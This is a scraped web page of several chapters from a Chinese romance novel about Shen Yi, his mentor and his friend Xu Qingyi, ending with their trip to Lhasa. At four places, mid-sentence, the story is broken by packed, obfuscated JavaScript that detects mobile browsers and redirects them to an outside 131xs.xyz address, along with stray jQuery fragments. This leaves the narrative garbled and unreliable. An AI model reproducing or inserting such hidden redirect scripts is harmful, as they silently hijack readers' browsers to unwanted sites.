师母似乎是注意到了他的不自然,过了会儿等那边又开始“将军”的时候,才试探着开口。 “小翌,你们俩到底是怎么想的啊?有没有谈朋友啊?你们这年纪也不算小了……” 沈翌摇摇头,“师母,没到那一步。” “那你有那个意思吗?”师母说:“不是我逼你啊,是我一直以为……” 沈翌的嘴角绷成一条直线,师母继续说:“那是不是清旖她……” “您放心吧,我会照顾好她的。”沈翌想起了李安,最终什么也没有说。 回过神来的时候,菜已经快出锅了。 沈翌将菜和粥端至桌上,然后又去泡了壶爷爷珍藏的罗布麻茶。 “等到清旖回来,我们一家人就吃个年夜饭!” 徐老师喝了一口粥,一边冒出这样一句话。 师母用手肘推了推他,徐老师这才反应过来,然后问:“小沈啊,你那个项目如果过了的话,过年是不是就回不来了啊?” 沈翌点点头,“应该是,假如过了的话,过年肯定是回不来了。美国那边也没有春节的假。” “没有吗?可是你们那个项目不是纯华人的吗?这也不给你们放假?”徐老师问。 “不会吧,回来一趟的话,路费也不便宜。” “也是,也是。” “那你是不是能坐飞机了?”师母问。 “我还没见过呢!”爷爷跟着说。 “如果过了的话看安排吧,可能是坐船?”沈翌回答道。 “不会不会。”徐老师说:“你们那个公司挺有钱的,我在报纸上看见过,肯定是坐飞机。” 沈翌笑了笑,拿着公筷给每人挑了一只饺子,“尝尝这个麦穗饺子吧,才学会不久,只有清旖尝过,你们试试?” 沈翌曾经想象过很多次和徐清旖一起回南城的场景,差不多就是现在这样。 一家人,一桌子菜,只不过少了她。 - 李安最近应当是接到了来自伦敦总部的某种指示,虽然整天臭着脸,但好歹是终于开始了工作进程。 肖珩曾经想过放弃这个案子,可是受到了上头的压力,据说是对面公司给的不低,这个广告项目必须接下来。 于是徐清旖每天也被压着加班,李安心情不好的时候效率出奇高,她手上跟着一个项目,还要顺带做翻译,另外还在联系以前接触过的一位国外的数学教授。 所以沈翌回来的那天,她甚至忙到没有时间去接。 沈翌只在南城待了三天,拿到了资料的同时,还拿到了国内数学界的名人,也是南方大学原副校长石成光教授的推荐信。 回黎江的那一天,这里的太阳很好,和几个月前他刚过来的时候一样。 繁忙拥挤的火车站,每天都在经历着分别、重聚。 而现在他只有一个人。 走的那天他大包小包的行李很多,忙着看顾行李没时间想太多,现在火车即将停靠,他全身上下只有一个装了换洗衣服和资料的背包,除此之外,再无其他。 本来应该轻松的事,却让他莫名有点慌张,像是就要这样一穷二白地过完一辈子。 下了火车以后,他坐在站内的木椅上歇息。突如其来的难过与疲惫压得他喘不过气来。 有一个乞丐在他身旁的位置朝那个女孩乞讨,沈翌知道下一个就是自己,他闭上眼睛假寐。 闭眼的时候目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389882|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里是一片橙红,他能够想象出那个乞丐的样子。 他或许衣衫褴褛,胡子拉碴,也许他拄着拐杖,佝偻着腰。如果再可怜一点,可能他还赤着脚,当真的身无分文。 “先生,给点钱吧……” 沈翌不知道自己为什么要躲,他的身上实际上是有闲钱的,如果是以往,他从来不会犹豫。 但此时他不知道该怎么去面对眼前这个人,他在想:如果这时候我假装醒过来,然后给予他一点零钱,是否需要装出一副大梦初醒的样子? 那个人又催了催,沈翌觉得自己装不出大梦初醒,他不是演员,没有精湛的演技,或许会被看出来。 可是被看出来又怎么样呢?那个女孩也没有给钱吧,因为他没有听见乞丐说“谢谢”。 沈翌顿了顿,终于睁开了眼。 乞丐已经走远了,在另一片区域寻求生活。沈翌想了想,还是站起来去站内的小摊那里买了面包和水,一大袋食物几乎能解决他两三天的吃饭问题。 付完钱转身,才发现那人已经没了踪影。 沈翌追过去,问那边的地勤,“请问刚才那个乞丐去哪儿了?” 地勤小姐闻声瞥了沈翌一眼,然后问:“你们认识吗?” “认识,他去哪儿了?” “不知道,出去了吧。” 沈翌跑出去,正好遇见一对情侣腻歪着等公交车,他问:“你好,请问你们刚刚有看见一位先生从这里出来吗?我形容不出他的样子,应该穿的不是很好。” “看见了。”那个女孩的男朋友似乎是不满意她与别人搭腔,掰过她的肩膀,硬邦邦地说:“那人搭上一辆公交车走了。” “哦,好,谢谢。”沈翌呼出一口气,身后的情侣还在讨论着“刚刚你为什么要和他说话”和“刚刚你为什么不让我和他说话”这两个问题。 沈翌没办法感到轻松,徐清旖以前说他是一个冷冰冰的人,他从来对此保持中立态度。 但现在他真正第一次感到了无能为力,如果刚才他没有假装睡着,如果他反应再快一点,那个人都不会离开。 他从未有过这么深重的罪恶感。 这一趟旅程,是从哪一刻开始变得让他不再自如、坦荡的? 也许是穆老师指着他问他为什么放弃数学,也许是师母发现他给不出明确的答案时失望的眼神,又或许是离开时爷爷抱住他一言不发,眼里却红得彻底的模样…… 他根本还不够资格,不能给任何一个人清楚的答案。 沈翌已经二十一岁,却依旧不够成熟,依旧没有底气做出任何承诺。 他没办法像穆老师那样,一生只与最热爱的数学待在一起。 他没办法对徐老师和师母保证可以给清旖想要的生活,保证让她永远幸福与快乐。 他没有办法给年迈的爷爷一个很好的医疗环境,只能懦弱地祈求他不要生病。 他押上自己前二十年的所有经历,看似是与生活对赌,自己却永远是被动的那一个。 8. 勃艮第 李其深的工厂裁员,本来他年轻力壮,按理说是不会被裁掉的。 可是刚好他运气不太好,经理在他和另一位三十多岁的中年人里面,还是选择了经验更丰富的中年人。 沈翌回来后不久,他穿着一身不太板正的西装打开了门。 “你回来了啊?没多玩几天吗?” 李其深将钥匙随意放在餐桌上,然后顺势窝进了自己的小床。 “回来工作,你没去上班?” “失业了。”李其深的声音在被褥里闷闷的。 沈翌正在整理面包和水的手顿了顿,然后拿过两瓶水和两袋面包,走出卧室用手轻轻碰了碰他,“哎。” “什么?”李其深抬起头,然后问:“你……怎么?” “买多了。” 沈翌说着走回了卧室,到门口时回过头,“找工作也不用太着急,慢慢找,机会总会有的。没钱吃饭的话,我们可以一起吃。” 李其深从前对他这个室友的印象是他不爱说话,有点像他以前高中的那些高年级学霸,他们家庭条件都很好,但多少有些不近人情。 正是感动的时候,肚子却不争气地叫出了声,沈翌笑了笑,李其深说:“可是我……吃得有点多……” “那算了。” 竟然会和他开玩笑了。李其深想。 为了表示感谢,晚饭是他请吃的面条,是他妈妈找人带给他的。 李其深做饭也不错,家里没有鸡蛋,于是只做了两碗清汤面。加了些佐料,当然最重要的是他从山西带来的老陈醋,然后就出锅了。 “你现在是什么打算?”吃饭的时候沈翌问他。 反应过来他问的是工作的事,李其深吃了一口面。 “前几天看见一个酒店在招什么客房的主管,我就想着我有个高中学历,就去试了试。人家说的是让我过几天再去问问,但我觉得应该有戏。” 沈翌点点头,低头继续吃面。 李其深见他没有问,于是自己接着说:“虽然工资不是太高,但生活还是够了,只是可能存不到钱,我先做着吧。” “到时候别这样说。”沈翌突然出声。 “什么?” “面试的时候,别说什么先做着试试,说你要这份工作,会努力做。” 李其深重重地点点头,回答道:“我知道啊,谁会想招一个想走的人啊,我知道的。” “哎对了。”李其深说:“说起来,这个酒店也在勃艮第路,如果我面试过了的话,咱俩以后可以一起上下班了。还有你那个朋友,就是那个女孩,她也在那里上班吗?” “没有,她在创业园。”沈翌想了想,“你先过面试吧,最近我们店里有一个调走的机会,如果运气好的话,我可能不会在那里上班了。” “调走?你要去哪?” “还不一定,到时候再说吧。” 沈翌把碗那进厨房,从桶里舀了一盆水起来开始洗碗。 “那你到时候岂不是要搬走?”李其深问:“不是吧,我才刚和你熟起来,怎么就要走啊?” “还不一定,我尽力吧。” 李其深赶紧吃完饭,跑过去就着他接好的水把碗洗了,擦擦手转身继续窝回自己的小床。 其实他根本睡不着,他和沈翌没有任何矛盾,如果没有今天的面包和面条,他们可能还是那种不太熟悉的室友。 但现在面包和面条都吃了,怎么说也算是朋友了吧?李其深想。 可是刚认识的朋友就要离开了,还真有点舍不得。 - 第二天一早沈翌就收拾好东西回去上班了,等走到店门口才发现相机店没开门。 打了几个电话没人接,沈翌像是想起了什么,飞奔着跑去了万师傅家,上楼梯的时候一脚踩空还在膝盖上磕出了一块乌青。 万师傅住在一个老旧的小区,是他年轻的时候自己买的,那时候黎江远没有现在发达。 他一生未婚,没有孩子,所以沈翌常常害怕他一个人会出意外。 敲了大概有五分钟门后,万师傅才慢吞吞地来开了门。 “你……”沈翌把他从头到脚盯了一遍,然后放心下来,撑住膝盖大口喘气,这才感受到膝盖出传来的疼痛感。 “你这是个什么装扮?” 万师傅正睡着觉却被敲门声吵醒,还以为是招惹了什么人,开门发现是沈翌也同样松了口气。 这会儿仔细看他,才发现他膝盖处的裤子破了一个洞,露出来白花花的皮肤淤青了一大块,正往外渗着血,看起来可怖极了。 “你这怎么受伤……”万师傅话还没说完,沈翌就打断了他,他的声音还在颤抖,“我看你没开门。” 万师傅理清前因后果,这才笑着拍拍他的背,他知道沈翌父亲去世得早,他一直把自己当作是父亲。 “傻孩子,我身体哪儿有那么不好,不过是些小毛病,给你担心成这个样子。” 万师傅扶着他坐在沙发上,然后从房间里翻了瓶酒精出来,给他消过毒后,心里还是有些放心不下。 “不行,我们这小区门口有个诊所,我带你去包一下。” 沈翌点点头,“你今天怎么没过去开门?以前不是都很准时?” “还不是你小子。” 万师傅的声音从房间里传出来,“你走之后那俩姑娘给我连着送了两天饭,我哪敢耽搁人家正事儿啊,前天我才说这两天不开门了,让她们别给我送饭。” “两个?”沈翌皱着眉,实在想不出除了徐清旖以外的第二个人。 “你那个暗恋对象,和人家小刘呗。”万师傅套着外套走了出来,“你一天,净给我惹些桃花债。” 他想了几秒,才想起来这个小刘说的可能是刘局长的女儿。 “没有,您别拿这个开玩笑。”沈翌试探着站了起来,万师傅连忙过来扶住他,“好好好,我不说就是。不过那姑娘本来就对你有意思啊,师父我眼睛厉害着呢!” “清旖也来给你送过饭?”沈翌问。 “怎么?不是你安排人家来照顾我这个老头子的吗?” “我没有啊。” “没有?”万师傅似乎是想到了什么,“你啊,债还挺多。” 沈翌的伤不算重,到了诊所后简单进行了清理就可以直接包扎了。 万师傅又陪着他回家换了条裤子,这才准备去相机店开门。 “你知道开发上海浦东吗?”万师傅问。 沈翌上一次和徐清旖吃饭,刚好碰见从浦东回来的林知一,回答道:“听说了。” “黎江也要开发一个新区,三角洲什么的,我没搞清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389883|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 万师傅回到自己的小工作间,那里开着一扇窗,能够和外面的人进行直接的交流。 “反正就是两边争着比较吧,挺好的,快点把国家发展起来,有福气的是你们这一辈。” 沈翌把背包放在储物柜里,刚好看见有相机落了灰,拿了毛巾来轻轻擦拭。 “开放以后,国家已经变化很大了,会越来越好的。” “就是这个什么三角洲,要以江南区为跳板进行宣传建设,刘局长夸你照片拍得好,说你文化高,对你可是满意得很。” 万师傅戴好工作台上的老花镜,“我看你对我之前说那个项目也挺感兴趣的,干脆过几天和他一起去那边看看,顺便拿新的那种数码相机试一试。” “这才是你们年轻人以后会从事的事业,而不是在我这个古董店守着我们这些老古董。”他说。 沈翌沉默片刻,“我去的话,不合适吧?” “这个我们讨论过了,以顾问的身份去。就在23号,今天都……18号了,也没几天了,我本来还怕你回不来。确定的话,今天或者明天你去文化局给他回个信,带包烟去,人情世故还是要明白点的。” “我知道。” 万师傅用镊子从手里拿着的相机机体里挑出一根弹簧,“嗯……这两天我去问问有没有什么市场上淘汰的胶片或者数码相机,研究一下,然后你再看看。总不能面试的时候,人家问什么你都不懂。” 沈翌笑了笑,“谢谢您。” “别给我搞煽情这一套啊,我年纪大了,不喜欢这里花里胡哨的。” “好。” 沈翌从柜台处拿来自己的工作笔记,站在万师傅身后,“来吧,学习一下,万老师。” 万师傅也笑了起来,“你小子……” - 面对沈翌的时候,徐清旖总是轻松的。 像今天这样开水已经斟满了却看不见的样子,实在是少见。 沈翌没有说话,只是伸手捏住她没有碰到的手柄处,轻轻打断了她继续的动作。 “抱歉,抱歉。” 徐清旖回过神来,看见他时又松了一口气,脑袋蔫蔫地撑在手上,看起来颓丧极了。 “怎么了?”沈翌用餐纸将倒出来的白水擦掉,“我就回了一趟家,你怎么这副样子了?” 今天下班以后沈翌就去徐清旖公司楼下等着了,大概过了半个多小时,才看见她提着自己的包从楼上慢吞吞地走下来。 看见他时徐清旖首先是惊讶了一瞬间,然后又恢复了从前的样子,没有和从前一样跑过来。 沈翌总是在那盏路灯下等她下班,他随手拿出背包里的相机想给她拍一张照片,闪光灯未亮,徐清旖却提前微微用手挡住了他的镜头。 神神秘秘地说:“去我家吃饭。” 直到离开创业园有一段区域了,徐清旖才吁出一口气。 “前几天我下班的时候总是被李安逮住,然后被迫回去加班。” 她找了个花坛坐着,从包里拿出一个包好的袋子,里面装着她准备好的平底鞋。 换好鞋以后他们没有急着离开,沈翌蹲下来将她的高跟鞋正反对放在一起,装回塑料袋后系了一个结。 徐清旖轻轻活动发酸的脚踝,看见他的动作,笑着说:“沈翌,你真好。” 9. 太难得 黎江自北向南流入我国的南方海域,在黎江市却自西向东横穿市区。 在这里生活的人们总是在饭后围着江边散步,晚风徐徐,吹面而过,惊起了嬉笑的孩童,也惊醒了树下打盹的老人。 徐清旖坐在花坛上,只要一抬眼就看见单膝蹲在她面前的沈翌,他正望着江边霓虹灯下玩跳格子的小孩。 明黄色的晚灯软软地趴在他身上,她忽然想起了五六年前的那个沈翌。 那时候她去上体育课,特意路过了沈翌他们班所在的那半栋楼。 当时他坐在位置上,侧头对着窗外的爬山虎出神,她一直以为是那天下午的阳光太好看,却不曾想连黎江的晚灯都会如此更偏爱他。 “哎。”徐清旖用膝盖轻轻碰了碰他屈下去的右腿,却听见“嘶……”的一声抽气。 “怎么了?”她赶忙将他扶起来坐在身侧,问他。 “前几天摔了一跤。”沈翌摇摇头,“没什么大事,已经结痂了。” “摔了一跤?你怎么回事啊?” 徐清旖已经顾不上自己发疼的脚踝了,两个人的位置一换,她又单膝蹲在了沈翌的面前,“给我看看。” 沈翌似乎也发现了他们始终一个蹲一个坐的滑稽姿势。 笑了笑将她拉起来后自己也站了起来,“好了,我能怎么给你看?想吃什么?” 他看了一眼手表,然后说:“现在买菜还来得及,走吧,边走边想。” “真的没事吗?” “真的没事。”沈翌的语气有些无奈。 直到吃饭的时候,徐清旖还是有点出神。 她觉得自己最近大概是累坏了,又或许是刚才蹲下的时候看见背着光朝她微笑的沈翌,她的大脑似乎有点宕机。 原来不是某天的阳光、晚灯偏爱沈翌,是她的喜欢给他加上了一层色卡。 完美的色卡。 “你走后的几天,李安拼命地赶各种进度。”徐清旖吐槽,“前几天我已经做完自己的工作了,却还是被他在公司楼下遇见,然后抓我上去问各种事。” 沈翌给她做了一碗简单的冒菜,他正一边听他讲话,一边给她选毛肚。 “可是我只是个翻译啊,肖总派了人跟他的。而且我另外还有一个母婴产品的广告要跟,过几天还要交计划书。” 徐清旖说:“我前几天真的忙死了,还飞了几趟上海……” 说完徐清旖忽然噤声,沈翌没发现她的异常,问她:“去上海干什么?出差?” “嗯……”她点点头,接着不说话了,埋头开始认真吃饭。 “你那个……回家有没有看见我爸我妈啊?” “不是你让徐老师来接我的吗?”沈翌笑着说:“而且我们买那么多东西呢,他们不来接,我也会送过去的。” “我怕他没看见。”徐清旖想了想,“他们身体怎么样?还有沈爷爷?” “都挺好的,爷爷身体一直不错,你知道的。不过……” “不过什么?” “不过前段时间林奶奶回娘家了,爷爷一个人在家里待着,他也没有告诉我。”沈翌说:“他和林奶奶在一起了也挺好的,至少他们能够互相照顾一下。” “沈爷爷一直只有自己,现在和林奶奶互相照顾也挺好的,你不在的时候,还有人可以陪他说说话。” 徐清旖又问:“那你这次回我们高中的学校了吗?” “没时间就没去,回了趟大学。” “那就好,我还怕你回去碰见李主任呢……” 沈翌低头笑了笑,“遇见怎么了,我现在也不会和他吵架了,都走到这一步了。” “还是会生气啊,当年你明明……就差一点点。”徐清旖气鼓鼓道。 “挺好的。”沈翌说:“如果当初我去了北京,你还会邀请我来黎江吗?” “不会啊。”徐清旖用纸擦了擦嘴,“北京多好啊,如果你从清华毕业,肯定就有机会留在那里工作的,那可是首都啊。” “对啊,所以能来黎江挺好的。”沈翌将碗拿进厨房,一边走一边说:“如果不是来这里的话,我怎么会遇见这些人呢?” 他想说万师傅,想说她。 最后却什么也没说。 - 沈翌接到面试的通知是在九月下旬。 万师傅高兴极了,捏着他的肩膀夸奖他:“我早就知道你有出息。” 徐清旖陪着他们吃饭,听见沈翌叫他师父,“谢谢您,师父。” 万师傅又给自己斟满一杯白酒,转头对着徐清旖说:“小徐啊,来,我也敬你。” 徐清旖端着杯子站起来,她很少被长辈敬酒,此时显得有些不知所措。 沈翌坐在她旁边撑着脑袋看着她笑。 万师傅说:“你们年轻人出来闯荡不容易,沈翌如果去美国了,你在这里就真的是一个人了。有什么事啊,就来找我,我能帮上忙的,一定帮忙。” 徐清旖点点头,喝完杯中的啤酒,“当初我只顾着叫他过来,实际上很少真正照顾到他,还要谢谢您一直对沈翌的照顾。” 万师傅眯着眼睛笑,招呼徐清旖坐下。 喝了酒后,伸手拍拍坐在他左侧的沈翌的肩膀,眼神在二人之间游离,若有所指,“你哪儿没照顾他啊,你把他叫过来,他就非常高兴了。” 沈翌抿着嘴没说话,徐清旖想万师傅大概是喝醉了。 她忽然想起来沈翌喜欢的女生,当初她之所以提议沈翌来黎江,其实也有自己的私心。 她不希望他继续留在那里。 可是沈翌就是沈翌,他那么优秀,也不会留在黎江市,他注定要远走。 出神间,她看见自己碗里多了一块鱼肉。沈翌已经收回手在和万师傅讨论面试的细节了,徐清旖笑了笑。 或许沈翌已经不喜欢那个人了呢?她恶劣地想。 将万师傅安全送回家后,他们不知不觉又走到了三林路。 三林路是黎江大学后门处的小吃街,徐清旖大学的时候常常来这里吃饭。工作以后他们也来过几次,他们走进一家叫做“什意”的小酒馆,简陋的小舞台上有驻唱歌手正在演奏。 是一首不知名的曲子,徐清旖叫了两杯橙汁,然后靠在背后的抱枕上发呆。 沈翌没说话。 她偷偷看他,这几年他慢慢脱了少年的稚气,愈发精致英俊,鼻梁挺直,下巴坚毅。她早就发现他的瞳色有一点泛黄,此时眼神直直地落在舞台上。 一曲歌毕,主唱的男孩站在话筒前介绍自己的团队,他说他们叫作“临”。剩下的徐清旖没仔细听,只发现对面卡座的女孩一个人低着头喝酒,看向台上的时候眼里好像闪着泪光。 “我有东西要给你。”徐清旖说。 沈翌将视线收回来,落在她身上。 “什么?” 徐清旖从包里拿出一个信封,她递给沈翌,“出国礼物。” 沈翌接过来,这是一封全英文的信件,话术他很熟悉,浏览至落款处的时候愣了愣,他问道:“这是……JimLarkin?” “嗯。” 徐清旖晚饭时喝得不算太多,但她喝酒容易上脸,此时正歪在沙发里,盯着沈翌看。 JimLarkin是林知一偶然认识的一位数学系教授,执教于美国斯坦福大学,是全世界数学领域当之无愧的大牛。 徐清旖听说教授前段时间正在上海后,连续四日每天傍晚飞过去,又在深夜回来。 一开始教授不见她,徐清旖就去他住的地方楼下等。 直到最后一天,上海市夏末台风即将来袭,街上很多店面已经关了门,她被咖啡店店员委婉地劝离,却恰巧碰到了匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389884|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶回家的教授和他夫人。 夫人于心不忍,请她上楼躲大雨。 徐清旖手上的资料并不多,一张当初天台上被沈翌扔下的全额奖保送申请单,上面漂漂亮亮地记录着他大大小小的奖项。 还有就是两张照片,是沈翌高二和高三的时候,连续两次参加全国数学奥林匹克竞赛获得一等奖,从北京回家以后,父亲非要给他们拍照。 照片里穿着绿白色校服的少年戴着奖牌腼腆地笑,女孩古灵精怪地用两只手对他比出大拇指。 或许是沈翌的履历太过漂亮,又或许是被什么不知名的东西所打动。 教授的目光在照片上停留了很久,然后才用英文问她:“为什么是你?” 徐清旖捏紧手中夫人端来的一杯姜茶,想要说出口的话在嘴里打了几个转儿。 “他不知情,这是我想给他的惊喜。” “这些奖项没有证据可以证明,你知道的,我随手可以写出比这更精彩的经历。” 他的眼睛是清澈的蓝色,徐清旖点点头,“不瞒您说,教授,他现在正在中国的西南,那儿距离这里很遥远。他回家正是去拿这些奖项的证明的,如果您需要,等到时候我可以带着他和证明再来找您。只希望您能再给我们一次机会。” “我们?”夫人在教授旁边坐下,听见这个词他们对视一眼,然后笑了起来,教授说:“如你所说他会远渡重洋,那你呢?” “我仍然在中国。” “不可惜吗?” “他再一次错失奔赴更好人生的机会,才会让我感到可惜。” 那一年他们还在读高三,徐清旖什么也做不了,而如今他们都已经长大,她终于能够成为他的后背。 教授盯着她仔细看了看,又看向摆在桌上的照片。 那里面的男孩女孩还很年轻,笑起来青春洋溢。 见他不说话,徐清旖接着说:“如果您见到他,您就会知道他很热爱数学。专业的领域我不懂,但他是很厉害很厉害的人。” 教授笑了笑,他的夫人捏捏他的手,低头对他说了句什么,徐清旖听见他说:“爱很难得。” 后来徐清旖想了很久,还是没明白教授所说的“爱”到底指的是什么。 她随意地解释了两句,几乎略过了过程的艰辛,只说是认识他,请他帮了个忙。 沈翌的开心溢于言表,他笑着说:“我以前只在书上看见他的论文。” “那我们需不需要请他吃个饭?”沈翌问。 “他们已经回国了。”徐清旖也笑着看他,沈翌此时开心得像个小孩。 徐清旖喝了一口橙汁,然后忽然道:“你走之前,我们出去旅游一次吧?” 沈翌点点头,把信收好,“好,正好国庆快到了,你想去哪里?还可以给你过生日。” 她的生日就在国庆后的第一天。 “我想去哈尔滨。”徐清旖说:“不过太远了,这个季节也没有雪。” “想看雪吗?我们可以去爬雪山。” “雪山?好啊,我没见过雪。” “我以为你大学会去旅行。” “没有。” 舞台上只剩下一个人,那位主唱正坐在凳子上用吉他弹着一首温柔的曲子,徐清旖又喝了一口橙汁。 “你坐过飞机吗?” “没。” 沈翌的眼角有点下垂,他的眼睛是内双,有时候困得不行了看起来才会像是双眼皮。 酒馆的灯光昏暗,他的眼神却很亮,认真地盯着徐清旖,看起来又软又乖。 “我们部门几个人要去拉萨,你和我们一起去吧?” “你们那个项目到时候肯定会坐会坐飞机,我们去西藏爬雪山,坐飞机过去,这样你人生中第一次坐飞机就是和我一起了。” “好。”沈翌答应下来。 10. 雪山行 黎江至拉萨并没有直达的航班。 9月29日晚他们乘飞机至成都,在机场等待了四个小时以后,再转机至拉萨贡嘎国际机场。 因为计划的行程不长,所以他们带的行李并不多,东西草草地装了两个很小的背包。 在成都的时候,徐清旖的一位同事过来问他们要不要吃东西。 徐清旖困得不行,摆摆手拒绝之后,坐在候机厅的座位上,靠着沈翌的肩膀睡了一会儿。 她没来过海拔这么高的地方,下了飞机就感觉不舒服。 肖珩看了她一眼,告诉沈翌她应该是有高反。 于是沈翌右手提着她的双肩包,左手扶着徐清旖,让她尽量把重量都压在自己身上。 路过一个药店时,沈翌让她坐在门口的小桌旁等着,从里面买了瓶氧出来。 他蹲在徐清旖面前撕开塑料包装,装上面罩,然后将它抵在她的鼻梁处。 “我按压的时候,你就吸气,知道吗?” 徐清旖看着他点点头,依照着他的话,深深吸了一口。 “你先拿着。” 沈翌动了动手,示意她拿住面罩,又从刚才的塑料袋里拿出几支葡萄糖。 他撕开其中一支,将剩下的放回兜里。 “好点了就把这个喝了。” 徐清旖没有经验,只能听着他的话呆呆点头,眼神紧盯着。 肖珩他们是来做关于这边的一个棉花生产地的广告包装的,他们来的人里不止徐清旖一个人有反应,于是告诉沈翌先带着徐清旖找地方休息,再看看能不能坚持。 送走他们以后,沈翌又一次回到店里,徐清旖的视线没了落脚点,游离着看向远处的广场。 祖国的生日,广场上有白鸽一圈一圈盘旋,藏民们在那里放着歌跳着舞。 徐清旖抬头,看见一片蓝得出奇的天空。 “能行吗?” 沈翌出来的时候,徐清旖已经将面罩摘了下来。 她的反应不算很严重,大概是长途跋涉加上睡眠不足,才导致了身体的不适。 她摇摇头,在沈翌的目光下喝掉了那支葡萄糖,笑着回答:“我没事。” “店员说我们最好是住在布达拉宫附近,那里的景色很好,去雪山也有人拼车。”沈翌皱着眉,“如果你们只是来采样的话,你能坚持吗?不行的话我们一起回去。” “我可以。”徐清旖拍拍他的肩膀,“你别太小瞧我啦,沈翌。” “我们打车过去。” 玩笑式的回话并没有让沈翌放松警惕,他扶着徐清旖慢慢往前走,忽然想起了什么。 “之前在报纸上看见有人说拉萨有一家小诊所,晚上去那里测一下血氧,医用氧吸几个小时,再吃点他们开的药,据说很有用。” 徐清旖闻言笑了出来,“我真没事,晚上还说要去布达拉宫前看庆祝表演呢。” 沈翌不愿意,“看了表演去。” “真到那时候肯定都关店了。” “那就现在去。” “不用了。”她固执道:“我们先去旅店,然后休息一会儿。” 沈翌不说话,徐清旖接着说:“我只是有点不舒服,或许是低血糖的原因,现在真的没感觉了。不行的话,再买氧吸,好不好?” 他叹了口气,没有同意,却也没有反对。 徐清旖知道他这样就是行了,拉着他的袖子来到路边拦三轮车。 “有任何的不舒服一定要告诉我。” 他不放心,又交代一遍。 - 将衣物腾出来放在宾馆以后,沈翌将剩下的半瓶氧放回包里。 徐清旖睡了一下午,沈翌就在自己的房间整理行李,等到她睡醒才和她一起出门来到了布达拉宫。 住的地方很近,来的路上他们看见了许多摊贩。 有年轻的夫人在为家人购买皮帽,厚厚的一顶,徐清旖试了试,帽子宽松到她几乎要看不见眼睛。 她来了兴致,看见有戍边的军人正在试皮鞋,于是便拖着沈翌来到小摊面前。 “姑娘,给男朋友挑皮鞋啊?”小贩笑着问:“国庆节,你买的话,给你们便宜,自己随便看啊。” “好嘞。”徐清旖没有回应那人的问题,兴致勃勃拉着沈翌开始比划,“你喜欢哪双?” 沈翌还在因为小贩的玩笑晃神,这时候反应过来,拉回她的手。 “不买皮鞋,前几天面试,刚买了一整套。我平时也不喜欢穿这些,你知道的。” 她皱着眉想了想,好像也是这样,“总要买点什么纪念品吧?明天想去雪山可就什么也买不到了。” “去色拉寺的话,也来不及了……不然还能给你祈个平安福的。”徐清旖看了看腕上的手表,拍拍脑袋,“应该放了行李就直接去那儿的,没做好准备……” 沈翌笑着看看她的样子,眼神瞥见不远处的拍照的地方,正想说话,卖皮鞋的小贩忽然开口说:“你们想求平安符啊?” 徐清旖眨眨眼睛,问:“师傅,您这儿有吗?” “我这没有,那边。” 小贩指了指更靠近布达拉宫的一个小摊,摊主是一位十分瘦小的藏族女子。 “那位啊是我们这片儿有名的活佛,不过应该也可以求个平安,我不太清楚,你们可以去问问。” 说完小贩又神秘道:“她很少出摊的,你们今天是撞大运了。” “好嘞,谢谢叔。” 走到摊前的时候,藏族姑娘却只是抬头微微瞟了他们一眼,“卜什么?” 气氛有点尴尬,徐清旖看了沈翌一眼,斟酌着开口,“我这位朋友马上要去一个很远的地方,我想给他求个符。” 对方这才仔细看了看他们,她的皮肤有点黑,五官却很深,黝黑的眸子看向沈翌,“我这里不求符,不过你……” “你不需要佑他平安。”她自顾自拉过沈翌的手看一眼掌心,无视他瞬间的不适应,“他是远行之人,命里注定了的要远走。” 她的话让徐清旖和沈翌都沉默了一瞬间,藏族姑娘又笑着说:“可能不准,你们别在意。” “不会,不会。” 徐清旖捻了捻食指,她看了看似乎对此不感兴趣,转而去旁边画像的小摊处的沈翌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389885|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 又开口问那位藏族姑娘:“你这里有没有什么小东西,就是可以贴身带着的那种?” 藏族姑娘顺着她的视线看向已经听不见她们这边讲话的沈翌,忽然从身后的盒子里拿出一个很小的福袋,轻轻握住徐清旖的手放在其中。 “我很少看相,但我们有缘,它佑平安、顺遂。这个送给你,因为我觉得佛有话要对你们说。” 徐清旖微微怔愣,“什么话……” “人生八苦。” 